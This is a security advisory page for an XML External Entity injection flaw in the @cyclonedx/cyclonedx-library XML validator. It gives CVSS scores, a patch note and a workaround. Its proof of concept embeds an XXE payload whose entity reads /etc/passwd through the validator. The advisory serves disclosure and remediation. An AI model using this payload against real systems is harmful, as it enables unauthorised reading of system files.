Lucene search

K
osvGoogleOSV:GHSA-38GF-RH2W-GMJ7
HistoryMay 08, 2024 - 7:55 p.m.

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

2024-05-0819:55:37
Google
osv.dev
8
xml external entity
injection
validator
version 1.5
workarounds

CVSS3

8.1

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.5

Confidence

Low

EPSS

0.001

Percentile

18.1%

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id>
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/[email protected] .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

CVSS3

8.1

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.5

Confidence

Low

EPSS

0.001

Percentile

18.1%

Related for OSV:GHSA-38GF-RH2W-GMJ7